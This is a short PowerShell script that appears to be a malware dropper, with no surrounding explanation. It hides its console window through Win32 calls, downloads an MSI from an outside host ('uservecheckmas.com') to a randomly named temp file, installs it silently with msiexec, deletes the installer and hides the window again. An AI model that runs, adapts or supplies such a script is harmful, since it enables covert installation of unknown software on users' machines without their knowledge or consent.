Add-Type @" using System; using System.Runtime.InteropServices; public class Win32 { [DllImport("user32.dll")] public static extern bool ShowWindow(IntPtr hWnd, int nCmdShow); [DllImport("kernel32.dll")] public static extern IntPtr GetConsoleWindow(); } "@ $hwnd = [Win32]::GetConsoleWindow() [Win32]::ShowWindow($hwnd, 0) $msiPath = [System.IO.Path]::Combine($env:TEMP, [System.IO.Path]::GetRandomFileName() + ".msi") Invoke-WebRequest -Uri 'http://uservecheckmas.com/MyApp.msi' -OutFile $msiPath -UseBasicParsing Start-Sleep -Seconds 5 Start-Process msiexec.exe -ArgumentList @("/i", "$msiPath", "/quiet", "MSIINSTALLPERUSER=1") -Wait Remove-Item $msiPath -Force -ErrorAction SilentlyContinue [Win32]::ShowWindow($hwnd, 0)